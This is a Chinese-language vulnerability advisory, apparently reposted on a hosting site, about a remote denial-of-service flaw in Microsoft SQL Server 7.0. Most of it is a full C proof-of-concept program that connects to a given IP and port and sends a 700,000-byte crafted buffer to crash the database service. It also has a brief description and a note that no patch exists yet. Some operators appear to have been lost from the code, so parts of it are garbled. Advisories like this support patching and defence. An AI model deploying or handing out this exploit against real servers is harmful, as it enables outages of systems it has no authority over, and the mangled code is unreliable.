Microsoft SQL Server远程拒绝服务漏洞

2008-04-09 04:19:55来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Microsoft SQL Server远程拒绝服务漏洞

发布日期:2004-09-28
更新日期:2004-09-29

受影响系统:
Microsoft SQL Server 7.0 SP3
Microsoft SQL Server 7.0 SP2
Microsoft SQL Server 7.0 SP1
Microsoft SQL Server 7.0
描述:
Microsoft SQL Server是微软公司开发和维护的大型数据库系统。

Microsoft SQL Server对特殊构建的超大数据缺少正确检查,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。

攻击者重复的发送700000字节长的包含特定字符的数据给'mssqlserver'服务,可导致数据库服务崩溃,造成拒绝服务攻击。

<*来源:securma (securma@caramail.com)

链接:http://www.securitytracker.com/alerts/2004/Sep/1011434.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

securma (securma@caramail.com)提供了如下测试方法:

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop the service
* "mssqlserver" the error noticed is different according to services'pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);


void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i =16)memcpy(buffer i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);


if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos <ip> <port>\n");
exit(1);
}

WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}

{
send(s,buffer,sizeof(buffer),0);

printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}


u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1) {
if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:IBM AIX ctstrtcasd本地文件破坏漏洞

下一篇:Icecast远程任意指令执行漏洞